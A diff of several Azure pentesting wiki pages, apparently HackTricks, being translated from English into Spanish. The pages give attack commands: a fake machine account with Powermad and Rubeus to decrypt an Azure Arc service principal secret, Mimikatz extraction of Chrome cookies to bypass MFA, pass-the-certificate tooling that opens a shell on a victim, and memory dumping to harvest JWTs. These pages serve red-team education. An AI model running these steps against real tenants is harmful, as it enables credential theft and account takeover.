||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
|
||||
|
||||
<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Install PowerShell in Linux
|
||||
## Instalar PowerShell en Linux
|
||||
|
||||
> [!TIP]
|
||||
> In linux you will need to install PowerShell Core:
|
||||
> En Linux necesitarás instalar PowerShell Core:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
@@ -14,11 +14,11 @@
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Update repos
|
||||
> # Actualizar repos
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # Install & start powershell
|
||||
> # Instalar y comenzar powershell
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
@@ -26,58 +26,47 @@
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
|
||||
## Install PowerShell in MacOS
|
||||
## Instalar PowerShell en MacOS
|
||||
|
||||
Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Install `brew` if not installed yet:
|
||||
Instrucciones de la [**documentación**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Instala `brew` si aún no está instalado:
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
|
||||
2. Install the latest stable release of PowerShell:
|
||||
|
||||
2. Instale la última versión estable de PowerShell:
|
||||
```sh
|
||||
brew install powershell/tap/powershell
|
||||
```
|
||||
|
||||
3. Run PowerShell:
|
||||
|
||||
3. Ejecutar PowerShell:
|
||||
```sh
|
||||
pwsh
|
||||
```
|
||||
|
||||
4. Update:
|
||||
|
||||
4. Actualización:
|
||||
```sh
|
||||
brew update
|
||||
brew upgrade powershell
|
||||
```
|
||||
|
||||
## Main Enumeration Tools
|
||||
## Herramientas Principales de Enumeración
|
||||
|
||||
### az cli
|
||||
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
|
||||
[**Interfaz de Línea de Comandos de Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) es una herramienta multiplataforma escrita en Python para gestionar y administrar (la mayoría de) los recursos de Azure y Entra ID. Se conecta a Azure y ejecuta comandos administrativos a través de la línea de comandos o scripts.
|
||||
|
||||
Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
Sigue este enlace para las [**instrucciones de instalación¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
|
||||
Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
|
||||
Los comandos en Azure CLI están estructurados utilizando un patrón de: `az <servicio> <acción> <parámetros>`
|
||||
|
||||
#### Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
#### Depuración | MitM az cli
|
||||
|
||||
Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando:
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
Para hacer un **MitM** a la herramienta y **ver todas las solicitudes** que está enviando manualmente, puedes hacer:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
@@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Az PowerShell
|
||||
|
||||
Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
|
||||
Azure PowerShell es un módulo con cmdlets para gestionar recursos de Azure directamente desde la línea de comandos de PowerShell.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
Sigue este enlace para las [**instrucciones de instalación**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
|
||||
Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
|
||||
Los comandos en el módulo AZ de Azure PowerShell están estructurados como: `<Action>-Az<Service> <parameters>`
|
||||
|
||||
#### Debug | MitM Az PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
|
||||
Usando el parámetro **`-Debug`** es posible ver todas las solicitudes que la herramienta está enviando:
|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
Para realizar un **MitM** a la herramienta y **ver todas las solicitudes** que está enviando manualmente, puedes establecer las variables de entorno `HTTPS_PROXY` y `HTTP_PROXY` de acuerdo con la [**documentación**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
|
||||
Microsoft Graph PowerShell es un SDK multiplataforma que permite el acceso a todas las API de Microsoft Graph, incluidos servicios como SharePoint, Exchange y Outlook, utilizando un único punto final. Soporta PowerShell 7+, autenticación moderna a través de MSAL, identidades externas y consultas avanzadas. Con un enfoque en el acceso de menor privilegio, garantiza operaciones seguras y recibe actualizaciones regulares para alinearse con las últimas características de la API de Microsoft Graph.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
Sigue este enlace para las [**instrucciones de instalación**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
|
||||
|
||||
Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service> <parameters>`
|
||||
Los comandos en Microsoft Graph PowerShell están estructurados como: `<Action>-Mg<Service> <parameters>`
|
||||
|
||||
#### Debug Microsoft Graph PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
#### Depurar Microsoft Graph PowerShell
|
||||
|
||||
Usando el parámetro **`-Debug`** es posible ver todas las solicitudes que la herramienta está enviando:
|
||||
```bash
|
||||
Get-MgUser -Debug
|
||||
```
|
||||
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
|
||||
El módulo de Azure Active Directory (AD), ahora **obsoleto**, es parte de Azure PowerShell para gestionar recursos de Azure AD. Proporciona cmdlets para tareas como gestionar usuarios, grupos y registros de aplicaciones en Entra ID.
|
||||
|
||||
> [!TIP]
|
||||
> This is replaced by Microsoft Graph PowerShell
|
||||
|
||||
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
|
||||
|
||||
> Esto es reemplazado por Microsoft Graph PowerShell
|
||||
|
||||
Sigue este enlace para las [**instrucciones de instalación**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
@@ -4,17 +4,16 @@
|
||||
|
||||
### Identifying the Issues
|
||||
|
||||
Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
|
||||
Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Política de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.
|
||||
|
||||
When executed, the DeployGPO.ps1 script performs the following actions:
|
||||
Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones:
|
||||
|
||||
1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
|
||||
2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
|
||||
1. Crea el GPO de Incorporación de Servidores Azure Arc dentro del dominio local.
|
||||
2. Copia el script de incorporación EnableAzureArc.ps1 en el recurso compartido de red designado creado para el proceso de incorporación, que también contiene el paquete de instalación de Windows.
|
||||
|
||||
When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
|
||||
|
||||
An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
|
||||
Al ejecutar este script, los administradores del sistema deben proporcionar dos parámetros principales: **ServicePrincipalId** y **ServicePrincipalClientSecret**. Además, requiere otros parámetros como el dominio, el FQDN del servidor que aloja el recurso compartido y el nombre del recurso compartido. También se deben proporcionar más detalles como el ID del inquilino, el grupo de recursos y otra información necesaria al script.
|
||||
|
||||
Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los Controladores de Dominio y los grupos de seguridad de Computadoras de Dominio, como se indica en los comentarios del script.
|
||||
```powershell
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
|
||||
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
|
||||
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
|
||||
```
|
||||
|
||||
### Exploit
|
||||
|
||||
We have the follow conditions:
|
||||
Tenemos las siguientes condiciones:
|
||||
|
||||
1. We have successfully penetrated the internal network.
|
||||
2. We have the capability to create or assume control of a computer account within Active Directory.
|
||||
3. We have discovered a network share containing the AzureArcDeploy directory.
|
||||
|
||||
There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
|
||||
1. Hemos penetrado con éxito la red interna.
|
||||
2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory.
|
||||
3. Hemos descubierto un recurso compartido de red que contiene el directorio AzureArcDeploy.
|
||||
|
||||
Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o varias otras configuraciones incorrectas.
|
||||
```powershell
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
|
||||
Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
|
||||
|
||||
Una vez que se obtiene una cuenta de máquina, es posible autenticarse utilizando esta cuenta. Podemos usar el comando runas.exe con la bandera netonly o usar pass-the-ticket con Rubeus.exe.
|
||||
```powershell
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
|
||||
```powershell
|
||||
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
|
||||
```
|
||||
|
||||
By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
|
||||
|
||||
Al tener el TGT de nuestra cuenta de computadora almacenado en memoria, podemos usar el siguiente script para descifrar el secreto del principal del servicio.
|
||||
```powershell
|
||||
Import-Module .\AzureArcDeployment.psm1
|
||||
|
||||
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
|
||||
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
|
||||
$ebs
|
||||
```
|
||||
Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se almacena en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos usar Azure CLI para autenticarnos como el service principal comprometido.
|
||||
|
||||
At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,38 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Local Token Storage and Security Considerations
|
||||
## Almacenamiento Local de Tokens y Consideraciones de Seguridad
|
||||
|
||||
### Azure CLI (Command-Line Interface)
|
||||
### Azure CLI (Interfaz de Línea de Comandos)
|
||||
|
||||
Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
|
||||
Los tokens y datos sensibles se almacenan localmente por Azure CLI, lo que plantea preocupaciones de seguridad:
|
||||
|
||||
1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
|
||||
2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
|
||||
3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
|
||||
- Executed commands with credentials embedded.
|
||||
- URLs accessed using tokens, potentially revealing sensitive information.
|
||||
1. **Tokens de Acceso**: Almacenados en texto plano dentro de `accessTokens.json` ubicado en `C:\Users\<username>\.Azure`.
|
||||
2. **Información de Suscripción**: `azureProfile.json`, en el mismo directorio, contiene detalles de la suscripción.
|
||||
3. **Archivos de Registro**: La carpeta `ErrorRecords` dentro de `.azure` puede contener registros con credenciales expuestas, tales como:
|
||||
- Comandos ejecutados con credenciales incrustadas.
|
||||
- URLs accedidas utilizando tokens, que pueden revelar información sensible.
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
|
||||
Azure PowerShell también almacena tokens y datos sensibles, que pueden ser accedidos localmente:
|
||||
|
||||
1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
|
||||
2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
|
||||
3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
|
||||
1. **Tokens de Acceso**: `TokenCache.dat`, ubicado en `C:\Users\<username>\.Azure`, almacena tokens de acceso en texto plano.
|
||||
2. **Secretos de Principales de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`.
|
||||
3. **Función de Guardado de Tokens**: Los usuarios tienen la capacidad de persistir tokens utilizando el comando `Save-AzContext`, que debe usarse con precaución para prevenir accesos no autorizados.
|
||||
|
||||
## Automatic Tools to find them
|
||||
## Herramientas Automáticas para encontrarlos
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Security Recommendations
|
||||
## Recomendaciones de Seguridad
|
||||
|
||||
Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
|
||||
Considerando el almacenamiento de datos sensibles en texto plano, es crucial asegurar estos archivos y directorios mediante:
|
||||
|
||||
- Limiting access rights to these files.
|
||||
- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
|
||||
- Employing encryption for sensitive files where possible.
|
||||
- Educating users about the risks and best practices for handling such sensitive information.
|
||||
- Limitación de derechos de acceso a estos archivos.
|
||||
- Monitoreo y auditoría regular de estos directorios para detectar accesos no autorizados o cambios inesperados.
|
||||
- Empleo de cifrado para archivos sensibles cuando sea posible.
|
||||
- Educación a los usuarios sobre los riesgos y las mejores prácticas para manejar dicha información sensible.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,32 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
|
||||
En máquinas unidas a Azure, es posible autenticar de una máquina a otra utilizando certificados que **deben ser emitidos por Azure AD CA** para el usuario requerido (como sujeto) cuando ambas máquinas soportan el mecanismo de autenticación **NegoEx**.
|
||||
|
||||
In super simplified terms:
|
||||
En términos super simplificados:
|
||||
|
||||
- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
|
||||
- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
|
||||
- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
|
||||
- La máquina (cliente) que inicia la conexión **necesita un certificado de Azure AD para un usuario**.
|
||||
- El cliente crea un encabezado de JSON Web Token (JWT) que contiene PRT y otros detalles, lo firma utilizando la clave derivada (usando la clave de sesión y el contexto de seguridad) y **lo envía a Azure AD**.
|
||||
- Azure AD verifica la firma del JWT utilizando la clave de sesión del cliente y el contexto de seguridad, verifica la validez del PRT y **responde** con el **certificado**.
|
||||
|
||||
In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
|
||||
En este escenario y después de obtener toda la información necesaria para un ataque de [**Pass the PRT**](pass-the-prt.md):
|
||||
|
||||
- Username
|
||||
- Tenant ID
|
||||
- Nombre de usuario
|
||||
- ID de inquilino
|
||||
- PRT
|
||||
- Security context
|
||||
- Derived Key
|
||||
|
||||
It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
- Contexto de seguridad
|
||||
- Clave derivada
|
||||
|
||||
Es posible **solicitar un certificado P2P** para el usuario con la herramienta [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
|
||||
The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
|
||||
|
||||
Los certificados durarán lo mismo que el PRT. Para usar el certificado, puedes utilizar la herramienta de python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) que **autenticará** en la máquina remota, ejecutará **PSEXEC** y **abrirá un CMD** en la máquina víctima. Esto nos permitirá usar Mimikatz nuevamente para obtener el PRT de otro usuario.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## Referencias
|
||||
|
||||
## References
|
||||
|
||||
- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
- Para más detalles sobre cómo funciona Pass the Certificate, consulta la publicación original [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,40 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Why Cookies?
|
||||
## ¿Por qué Cookies?
|
||||
|
||||
Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
|
||||
Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión se puede usar para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse.
|
||||
|
||||
You can see where are **browser cookies located** in:
|
||||
Puedes ver dónde están **ubicadas las cookies del navegador** en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
|
||||
{{#endref}}
|
||||
|
||||
## Attack
|
||||
## Ataque
|
||||
|
||||
The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
|
||||
La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto está encriptado utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) al que pertenecen las cookies. Puedes encontrar más información sobre esto en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
{{#endref}}
|
||||
|
||||
With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
|
||||
|
||||
Con Mimikatz en mano, puedo **extraer las cookies de un usuario** aunque estén encriptadas con este comando:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Para Azure, nos importan las cookies de autenticación, incluyendo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** y **`ESTSAUTHLIGHT`**. Estas están presentes porque el usuario ha estado activo en Azure recientemente.
|
||||
|
||||
For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
|
||||
Simplemente navega a login.microsoftonline.com y agrega la cookie **`ESTSAUTHPERSISTENT`** (generada por la opción “Mantener sesión iniciada”) o **`ESTSAUTH`**. Y estarás autenticado.
|
||||
|
||||
Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
**Verificar:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
**Consulta la publicación en** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) aunque otra publicación que explica lo mismo se puede encontrar en [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **Información Básica**
|
||||
|
||||
As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
|
||||
Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) pueden **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podría otorgarte acceso a varios recursos de la víctima en la nube eludiendo MFA.
|
||||
|
||||
Steps:
|
||||
|
||||
1. Dump the excel processes synchronized with in EntraID user with your favourite tool.
|
||||
2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output
|
||||
3. Find the tokens that interest you the most and run tools over them:
|
||||
Pasos:
|
||||
|
||||
1. Volcar los procesos de excel sincronizados con el usuario de EntraID con tu herramienta favorita.
|
||||
2. Ejecutar: `string excel.dmp | grep 'eyJ0'` y encontrar varios tokens en la salida.
|
||||
3. Encontrar los tokens que más te interesen y ejecutar herramientas sobre ellos:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
